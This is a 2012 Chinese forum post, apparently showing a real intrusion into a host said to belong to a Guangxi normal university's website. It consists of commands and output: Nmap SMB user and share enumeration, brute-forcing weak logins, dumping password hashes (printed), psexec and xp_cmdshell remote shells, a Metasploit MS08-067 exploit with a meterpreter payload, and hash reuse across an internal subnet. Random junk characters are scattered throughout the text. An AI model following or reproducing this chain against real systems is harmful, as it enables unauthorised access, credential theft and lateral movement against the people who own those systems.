广西师范网站http://202.103.242.241/2 c! V9 c. y# U {+ H
$ H3 O) h5 _0 o4 [
root@bt:~# nmap -sS -sV 202.103.242.2411 j& G3 t- t; t0 s; K$ I
# o0 j+ E$ o5 P; G3 X
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
' |7 V( y+ \; |9 b* G, t2 _6 \! c: t- _
! C' \7 N8 ]: @7 k) ?; xNmap scan report for bogon (202.103.242.241)
( ]! u( ^% J/ T0 A; S- o5 v) X& F" R, C. p/ k5 p* Z" p9 k
Host is up (0.00048s latency).4 S+ e1 C4 b7 D+ O2 M. u
" H( o4 Z+ F, a( K$ ^6 z' fNot shown: 993 closed ports% j/ `/ A+ }( }: N
' C' Z$ ^0 y" \! N3 M9 A7 S
PORT STATE SERVICE VERSION
; l3 M& m9 `% m, U
5 V. e( h6 n: _3 A" M135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe). J/ r5 o: C' V, `8 j% h/ G, {
% J9 A* X2 O0 l, B6 f) J139/tcp open netbios-ssn
4 n; ?5 {. V9 q, a4 I# n3 i: s$ F3 `5 M: g8 h
445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds, u4 W" w2 \) |2 _$ R( f! y0 p
/ d. v1 y3 J2 m* q
1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
, |" `6 X* N8 \. A9 N+ m# K
) s) N! q/ L, l7 | u1026/tcp open msrpc Microsoft Windows RPC" W; V- k$ J5 C- ?2 ]: ~. H" r7 `8 D
( ]3 M; o2 ]6 f/ A9 n! e3372/tcp open msdtc?, C9 h, z& Q @) f- G. t
; M7 ^2 |& Z2 l' d
3389/tcp open ms-term-serv?
4 k6 n3 c4 S" M4 F* f+ B3 ^9 r) N' R. h' z1 }0 g
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
* F0 k# U" l* H5 l/ ]2 aSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r$ y$ @3 |9 {4 d) o; E }
0 i# j7 {. d7 B+ M8 T V$ dSF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions7 [* x# q$ P8 s' Q0 ~
3 o$ g! G6 x1 n5 D& q
SF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
8 j" Z. O* |$ h% l4 ^2 o3 y, F8 n+ y- t9 V0 G6 t
SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO
( c7 X2 {+ v5 H) T5 W6 R- x7 }1 }# T; D, d2 |
SF:ptions,6,”hO\n\x000Z”);
# L/ `# U6 s3 ?0 O+ F% S `, F5 h8 R3 T+ y/ X9 Z/ z
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems)9 \) q- s- s G+ Q9 R
/ ]$ D7 d1 C! b, R9 W' wService Info: OS: Windows) t. \. p$ k2 A$ a3 L
, w; h" o, r; ^* v! ?5 d7 GService detection performed. Please report any incorrect results at http://nmap.org/submit/ .1 X9 z# }) W) m! T+ T* c& D% E
8 b- ~& {& q3 z2 P0 N' J9 ?Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds, X T9 p% O! U0 @ K8 J- ~
& [ p$ @ a& X$ H/ zroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本
+ ^8 n3 w! _9 F4 y- K+ D, K% _( C' w; j0 W$ O
-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
: Z4 Q, h: k+ |3 L8 Y5 m4 J3 p" E5 g/ Q8 K6 {% U, O
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse4 V" }$ j; o" L- R
, r% c8 i |9 Y9 a
-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse5 Y, B1 N! l: R2 W# R8 g- t
* g, C% e' k V" j4 p2 q4 Q1 M
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
! U+ Z+ N1 P' s) N
0 `7 _, _" d# z& j" {1 X1 ] ^* N-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
8 X/ I% H+ q$ {" U: }0 G5 T. f
1 A) n5 X. d- \4 m-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse* G) {: } H# X1 S
* b2 X) t' s+ s `-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse/ u y9 S1 i; ^$ e% h2 C7 g
- t! s( O) f1 j# G1 w( {
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
- B% Z7 W" M$ i$ z- c' ?7 T, E- _) x4 r* G* i9 Q* v: u
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse7 w. y, i8 S' f5 U; s
6 f+ z8 @4 F8 L6 s* C3 ?6 X' j-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse" Z% Z' d( q& V" h' D N. u, n" Y
# Z% u4 ^. e# e, V-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
* W% r6 J- K( d8 K* \: Z# n; p
$ B, Q4 X% j( c9 P) Y" J1 b-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse
( g. h6 V8 N' Z' ^6 e. v8 n% t- N' ?, E; g4 q, {
-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse( y, `! _" f/ |+ `( R5 ^3 ^" }4 M
( i0 b1 _2 o6 r# L) Z5 |2 w* s-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse) \/ P( Z+ X/ q( U8 k4 _
, _0 ]" G4 `' w3 ^3 D! y' U
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse& \$ D3 f4 s* ]
* D2 V6 `7 A/ z7 @0 o
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
2 U# J9 l: N5 ^# A8 \$ F" _* ^ \) F4 U3 g
//此乃使用脚本扫描远程机器所存在的账户名; l i) p( F, s. O
: |7 l# w+ l) e+ K, L8 |' mStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
) q5 ?0 D( \; T
* J* r' |4 P0 Q7 F( j- FNmap scan report for bogon (202.103.242.241)
& A4 Y' M8 ?" R w+ K
, g4 S3 c" {# s% R9 }' O% Q" |Host is up (0.00038s latency).$ I5 l2 m* [+ w
9 t$ Q1 G% w3 n& U5 Y: U
Not shown: 993 closed ports- p: c) V7 h: X1 c0 x. {
}+ j9 y: ?2 b+ s- l8 Q
PORT STATE SERVICE8 U Z5 f& G3 F& N' g
: q4 I+ w: p4 c135/tcp open msrpc! Q2 l9 q9 h, |+ m" u/ z, j/ X
; H! L1 H) X$ \) z% l) O
139/tcp open netbios-ssn
7 s( O8 b3 ^+ ~: C- ?3 d" A& N9 U+ v1 C# {5 X
445/tcp open microsoft-ds
8 k% L3 ?3 N: K& }& s% Y( w7 W& o8 f" T7 V& S+ v j
1025/tcp open NFS-or-IIS$ k3 k# J" z, R) J, p' U
2 m% @' o& `/ \+ \9 e3 V+ p
1026/tcp open LSA-or-nterm7 P* V, h1 S# D6 o) f
$ y0 p5 U5 w( u1 R' V5 B3 C3 y' x( G3372/tcp open msdtc" I" U: S! |! x/ \* |; ]8 }
0 m3 P; t9 U0 ~* e D5 C2 a3389/tcp open ms-term-serv
6 D5 \9 l/ f9 B
" C6 Y0 O3 ?* C! nMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
9 C, v+ e- x/ e
% Z h: {2 @9 A2 n+ W9 vHost script results:
) ]" |6 d$ n0 j5 V
; S6 w- N* M: Z" z| smb-enum-users:
# \1 s- }, g6 y- n6 H# T3 N, w
* O7 k( J/ T" K5 x' f8 R7 U|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
6 ]/ ^" }- R) ?8 P$ r# W; b$ n3 t5 w8 z% F: S9 T
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
1 D2 W9 k3 ?" d1 y7 S4 d C8 G5 g& W/ P% L1 h
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 - f+ v; c2 U7 | J g* H
y" E7 `, |6 T8 l3 Y
//查看共享
) M( b7 L3 c0 T% R% y8 `6 b3 [' x' |+ o6 c$ Q7 T c s+ }
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST: C' G1 V% X: q# A# d+ `+ V O
2 x: Q% e& J7 H. M. p& ONmap scan report for bogon (202.103.242.241)3 k: [& Y+ v( }$ v7 [
" B* W) T z0 }! @. cHost is up (0.00035s latency).
1 ?- V% l* _- @' {! ~" n4 A2 z5 L( X) K0 B
Not shown: 993 closed ports) H/ @2 P9 M Y
0 c5 l$ C1 ~9 b/ o/ g8 T
PORT STATE SERVICE W# {- F7 u( }' ?2 f
) w- A; `: Y1 h2 q* O' d9 E! r
135/tcp open msrpc
3 x8 c9 |4 C6 t1 b- g& O: A' b3 {0 T/ P. Z2 ~7 l/ B
139/tcp open netbios-ssn
/ G$ h: V) w( J& |" b
7 \' N( a; h! H' F445/tcp open microsoft-ds. M4 _8 ^ Y& c' [
3 s6 N$ W0 F- _. ^6 k1025/tcp open NFS-or-IIS
3 c$ U: I4 T6 s G+ L% h" ~+ _1 d
7 B. K7 x4 M3 A5 z. w1026/tcp open LSA-or-nterm- ]; c% Q1 o/ u6 ?1 G
# j/ w, I9 Y. T; {/ p/ Q3372/tcp open msdtc! |* y; T4 t, e, S, @) _' z1 p
2 Q, Y9 G j$ w, x6 G
3389/tcp open ms-term-serv, H# n% v+ K( r! ]
2 [9 n7 G. o5 d( X% xMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)4 h' N8 K( y( O' J3 e' ?$ ?6 o
3 u+ t1 T: g- | R
Host script results:
( l* h% s3 Y9 K# D* }; f" I) A. }8 \" o
| smb-enum-shares:
' M5 E7 L8 [+ o) [% Y8 p* B: i6 j+ p/ f- E) x; \9 k2 P
| ADMIN$
2 _+ g/ n" q1 k2 i k9 Q6 Q8 z
* t3 \! E: c$ ]! j: t| Anonymous access: <none>2 z. _9 s! v9 D& O) ?' r, x7 K
" B7 y( B" p8 L+ D| C$
" k! _$ ?9 E' a i0 e2 m6 d- w
" X9 U3 j6 I: b7 a" k# _) ?, V| Anonymous access: <none>, `9 }0 k( E7 a' q
' }3 }- W9 T4 t" _
| IPC$, L6 c) H6 O. J" x/ P ?9 _+ L6 n
, m: y% h" \* N( t s W! e|_ Anonymous access: READ& L/ B* M* k- [, M
: ~7 c1 H# \9 A$ g) O6 D1 P: h0 r8 @
Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds
/ _( Y [8 E1 G6 g" K9 v) Y1 [6 a4 x. P U. j/ m, \8 O! F/ e- K
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 $ _. U1 V3 D9 F) Y* z
3 H" Y$ W& i ^: |# X; a" ~//获取用户密码6 t. ?0 P9 n2 @, o' z! r
3 K: x& A+ M6 J K5 l
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
% f. s( [4 D5 S+ H+ o9 W$ X7 E2 c2 }* Z
Nmap scan report for bogon (202.103.242.2418)
3 X5 c: c2 W, M) U3 b
7 s6 Y+ u7 e _# b: f' GHost is up (0.00041s latency).: s3 v: _6 l& \1 q+ G
7 S7 d$ y& C; m- I" dNot shown: 993 closed ports& O% q' k7 y+ V3 s" u, W
6 E8 G( K0 f6 c" Q* a' oPORT STATE SERVICE, p6 A% D" E' K- ~ ]' h- L
6 x7 R# G, I; i! y' }3 w) B. C( p
135/tcp open msrpc
. k% v# r9 D- N- G+ D7 j! \/ X! ]& H: D6 n
139/tcp open netbios-ssn" g& i/ q1 o$ v s9 I
/ J' U# X' g# _9 Y445/tcp open microsoft-ds
' {, H9 O: v F* h$ w$ ^# g. b' D1 y! ~- g$ [: B
1025/tcp open NFS-or-IIS
+ x7 \' \0 p9 v6 \# G! d2 S. t) R. P6 `3 @: \
1026/tcp open LSA-or-nterm
) C0 e4 t( u- Y. l; r* `; m: G* u% D6 l
3372/tcp open msdtc$ q+ B' c4 j+ U4 J
* t/ g( E6 ?% L' t4 Z3389/tcp open ms-term-serv$ h4 f5 u: ?+ I" r G7 D# b
8 q5 q- y1 A: O) I; ~- Q9 Z+ |1 W. x
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)' d9 q( P- m8 V/ n+ Y, a
4 _* [3 O- z% t! t& [% a
Host script results:, X1 U8 f) _7 h: x) g) L
& J$ @# K3 e* m, W/ S4 M7 Q7 @( D| smb-brute:4 v5 R# `, b1 n6 H* S8 S" z
* J. y: W1 {% }# x; R8 h ladministrator:<blank> => Login was successful( D! W' i3 x; _7 }3 P) Q
) `# r2 J, j, Q* G
|_ test:123456 => Login was successful
2 [8 Y9 R. F% C; v) J
1 x. ^5 R1 d2 l: l& Z7 kNmap done: 1 IP address (1 host up) scanned in 28.22 seconds
, a; |) |2 I$ V/ n8 |0 V$ ~& y9 o* q2 s9 G' I
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
1 C: i4 b& H; o8 n2 ^% a$ x! ?( n! u5 x- {6 k6 c- Z5 |2 T$ e
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data& h3 f' s/ U$ \+ @! O$ N3 P+ ]
8 @; X" w) s, s0 _$ k# I5 {
root@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse* g: _/ O9 I2 m( S/ m- f
" u/ ?& H" E5 J1 j8 d
root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,1392 N7 ], v* L+ q7 {5 }( l. w' i. t
# O# w& S0 U. C( u' v
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST$ d1 U* B4 J# j) G5 o
0 r3 J# i, d! ^" V6 C" M
Nmap scan report for bogon (202.103.242.241)7 h7 H6 K: k1 V- q
; ?! y5 M1 L) h6 pHost is up (0.0012s latency).0 E$ c! t( c* b$ J! V
/ L+ I D/ J2 g# R
PORT STATE SERVICE
- I- F5 V8 ]1 W$ x! F" {- ]2 J6 w! g( Q, U( i- B9 R* d
135/tcp open msrpc+ }, Z. E, n8 n0 E9 @. t
% L9 b! m5 Y! R' m8 j- Q L8 z0 z. O
139/tcp open netbios-ssn
+ n1 l+ x' x9 L
( D7 P8 _' I; x445/tcp open microsoft-ds; k1 k# }/ i0 ]6 @% \
; Y0 L, e; M2 q8 a% a* z5 O4 I) mMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
% z) X% w6 l2 m+ M1 [' y, ~" A
6 G& k! b9 O" dHost script results:- ~% {0 L6 B4 H3 {) @
5 h, a' c& O6 d8 V0 Z+ N( c0 B| smb-pwdump:
6 e, E9 }( }* Q% d1 M" L ^2 ?. D' Y) R4 B" C/ k8 h3 R m+ K6 U
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************( P! K; Q' b9 r4 B, L; i
5 T7 E. k9 @; K: Z. x! a, K k| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
* K0 N. I" k4 R# f( N- c; D8 c
: H/ Q7 Z- F9 I2 F; L| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4# y8 n# n, S# u/ n
. K: I4 |) H5 t3 ?8 Y
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
" y" t u2 l4 I+ g% q F3 @+ @/ M( `% l+ q( K" y& O9 Q: \ E
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds% d% x6 F- n" A0 r8 @: _" \6 w5 m
6 d2 A% G7 f& r% \
C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell. i* a3 Q" P8 N r; L! Q
! Q6 w: M) x k" }3 O- n5 R* ]
-p 123456 -e cmd.exe: D( P, }. h* y3 D f
1 F( X! T: Q# M& t- N% \: }PsExec v1.55 – Execute processes remotely% o/ v" V. p# z3 A* F7 h6 P4 I, ~. {) Y
G& Q4 u9 g# d m" L1 MCopyright (C) 2001-2004 Mark Russinovich. W Z$ C. u' D
1 j, S5 k% _( vSysinternals – www.sysinternals.com' q" H. ^( ?0 { p g2 H H
( h" {, [( t4 E' GMicrosoft Windows 2000 [Version 5.00.2195]8 L/ w0 C! k0 l1 v
- N6 Y! s1 r8 U N& Q(C) 版权所有 1985-2000 Microsoft Corp.
" O5 W0 J* T- t$ c* Y" k7 K( [: M
C:\WINNT\system32>ipconfig: S1 `1 ~( e9 o$ `! s8 Q
6 d6 {0 o6 U: f7 x' W! R$ eWindows 2000 IP Configuration) D+ r# P. j7 L" K& j
5 E4 d( _1 Y: _- o2 U+ r; xEthernet adapter 本地连接:) r4 u' |6 L" r; z! J/ l; P0 f; I
; z/ [+ @% U. O' f$ H) nConnection-specific DNS Suffix . :0 M3 i& R* A7 t& B/ r
. k% [ i4 u" q7 T! ^( T
IP Address. . . . . . . . . . . . : 202.103.242.241
; c4 x7 u7 ^# o
7 s5 J- I/ t6 q G& X5 \, W: FSubnet Mask . . . . . . . . . . . : 255.255.255.0
9 l& C$ M Z' k7 }% {. v9 F! z- _1 i
1 j% P" ]2 Q6 I5 b' zDefault Gateway . . . . . . . . . : 202.103.1.1& x& E+ I1 u( h' i
7 s1 V G4 m/ W/ m: | pC:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令7 y% r; p [. W0 B- c
6 m) g8 q, J. f% Y' {' Iroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞& z* J2 z! R x- x
, b( ]+ I0 Y" ~) E8 d# _5 c WStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST+ |0 [7 _9 F- e6 u; q3 y/ N2 Q
2 ~2 A7 Q- `: U% g* k7 E& D
Nmap scan report for bogon (202.103.242.241)# f) U5 } O8 [- r& u" h- a4 h; V; i& O
$ \+ b u* v, b
Host is up (0.00046s latency).
5 ?7 G: K% b3 K: c3 e& p
# }) \9 J+ @! L8 e; X' JNot shown: 993 closed ports
U- s& u3 F/ y; o- @
# s/ j) x+ Y, a5 z% B/ i; \' ]PORT STATE SERVICE. P; W, m; P$ Y! _/ ?) E+ v- G
3 l: d6 q% \+ d2 a Q" q135/tcp open msrpc
" n! m- |# f p: F* Z; A" X3 g( t5 G7 f3 L
139/tcp open netbios-ssn, p- i) ^8 T8 G% E; f/ J3 a. P
: \8 ]; s2 _9 Y! ^. f9 d- G- i V
445/tcp open microsoft-ds
" g9 ^' v! ~/ M2 d( @4 C8 U) `' I" h. v2 ?5 q$ I
1025/tcp open NFS-or-IIS
1 c; t0 \& m3 b/ G+ D' n0 T U7 @. v q" T) a' k2 G
1026/tcp open LSA-or-nterm
; e, X2 S* o9 k4 a
* J, b* C& F; c3372/tcp open msdtc2 z {+ l2 c+ t# I+ z
, Y' ~8 O9 S3 N5 i, u: r* Q3389/tcp open ms-term-serv9 ] n8 T* S7 M# L0 U
$ e8 a' E2 d8 _# w; d! [' }MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
# s/ B! D* H/ E
! G% n8 N# Q* j2 w' F: VHost script results:1 S' ?4 p9 t0 U1 |% L/ O: H, @
0 { h6 d5 @% T7 J
| smb-check-vulns: x4 I$ R* i, M7 ~2 i2 _. e
f) ^" A- ?+ c- d! ^' L* A
|_ MS08-067: VULNERABLE
! B7 ~# B$ w L% K6 }+ G9 u- b* ?
7 m! ]$ o' x( @Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds
' ^# y. p; F+ p- q- W" T6 B; }& H9 P
root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出
, ?. [& y4 |# [7 a/ W5 k7 x& t1 ?6 P7 _. N- f! ^& s
msf > search ms08
0 w4 R, h1 V! p- ~( }
8 u& h5 T$ l% m- v6 w% _msf > use exploit/windows/smb/ms08_067_netapi7 t$ R( n# A5 @5 [. F4 B1 G4 v
" h J D! ^# R, |! h
msf exploit(ms08_067_netapi) > show options
' ?% o9 Z5 f2 m9 H+ r
/ q3 m7 B9 h; A* G0 n$ ]msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241; W; e+ u6 r+ R* \ }0 t( g( p
: ?$ c* L3 B3 V o1 lmsf exploit(ms08_067_netapi) > show payloads1 u, A4 b6 M5 y7 P- ]6 @2 x2 v$ x
B$ l& [: M' d* Y+ ?5 s7 _msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
5 k) @4 L- V2 @4 o- n* A
; |* @& I( H) ?/ Z; p* Z' qmsf exploit(ms08_067_netapi) > exploit
8 e. _5 G8 _* M. m. y" t. D+ N# q+ h' R A
meterpreter >7 J D/ p( w! _/ u/ n$ R
8 A2 `. @9 O; j+ r* T. EBackground session 2? [y/N] (ctrl+z)6 ]- _5 B( t) l, Q; W. }
8 g7 `/ B: G2 }- B) h
msf exploit(ms08_067_netapi) > sessions -l
0 f7 P* A0 f' g) i% r0 e9 Z( O$ }2 L/ u( \4 S0 X
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
" d6 k: u+ \( T3 M' z0 J! ^( j6 @9 c' X' V+ r1 q. O
test
$ o2 w$ l" {7 |+ m! X. O0 [, k% B$ S( h/ d( }- @7 U, {, G% D+ s& L9 m
administrator
) M/ P0 v: f- L+ `4 k! X) y% N& G8 C+ n% i, O& K) n2 |5 J. g( [- e
root@bt:/usr/local/share/nmap/scripts# vim password.txt
/ b0 m! ~6 Z& n' L# O0 v& z; ]9 C# c
44EFCE164AB921CAAAD3B435B51404EE
; b; b4 D& W, _2 @' I' ?" A; _7 d% `& ]# k5 H/ v' j5 h! r
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254
* U6 F# \2 U# `' U" S' S$ A: v) v" y2 ]- g3 a
//利用用户名跟获取的hash尝试对整段内网进行登录
6 J. }- S4 w2 C; n. P6 U4 b/ t4 [2 T" v0 Q$ m% \8 W$ Z
Nmap scan report for 192.168.1.105
1 |: Z( E$ n0 `5 K0 s! d+ U9 e5 x) k5 ~# ?- z5 O* n' q
Host is up (0.00088s latency).0 l+ l( _' v, q/ R
* A5 D) W8 t0 S4 \, A" {Not shown: 993 closed ports
+ k7 o7 L a* m( T( M
5 g; T% m- a J. B/ |PORT STATE SERVICE
$ W6 Q' L" S0 S/ n! I; L; m
8 o$ Q: [; `8 E135/tcp open msrpc
/ E$ g( ]" _6 ~* Q, c, V6 k$ \5 h9 `2 j+ R* D4 L) D/ f( {
139/tcp open netbios-ssn9 U7 F+ D$ p g: R; V5 o) c* {
@! B& n. L1 H! @1 A
445/tcp open microsoft-ds3 _4 J+ X7 N% S7 J
3 ^% H9 R9 C8 y$ P0 c1025/tcp open NFS-or-IIS2 h0 Y0 n1 {0 v
+ L" n! x7 E9 h$ h1 `& j) \
1026/tcp open LSA-or-nterm
# X, b# L3 j2 R; }; Q
8 p4 F5 E" q/ l& H+ X' s3372/tcp open msdtc$ I: @& O$ i& V+ O- B4 n" ^3 Q
' I: ?* h- R& p) g: a: ]; o8 d
3389/tcp open ms-term-serv
( B. ^) d6 I G) G1 }
5 g6 a; A$ D/ c* W5 l- z& \# _MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)" P9 C2 `; z0 a2 |0 U/ W
& C, `, J k7 ^$ R3 k3 |' t4 _$ n; S7 F7 W
Host script results:
) V+ X$ \: [9 }$ O; \- J* Q! E
3 t" v8 v) b9 P& H# H h1 k; `| smb-brute:, n. S0 z& M* C- a$ W
. y# P+ V1 F A( s5 n
|_ administrator:<blank> => Login was successful' v! s- Q W, W
& S# z) `7 w, j9 }9 h; M0 T
攻击成功，一个简单的msf+nmap攻击~~·& A3 t5 ?# Z5 C6 B& F1 k( X
2 R- ?5 R" K! |" O5 }, S |
发表于 2012-12-4 12:46:42
收藏
支持
反对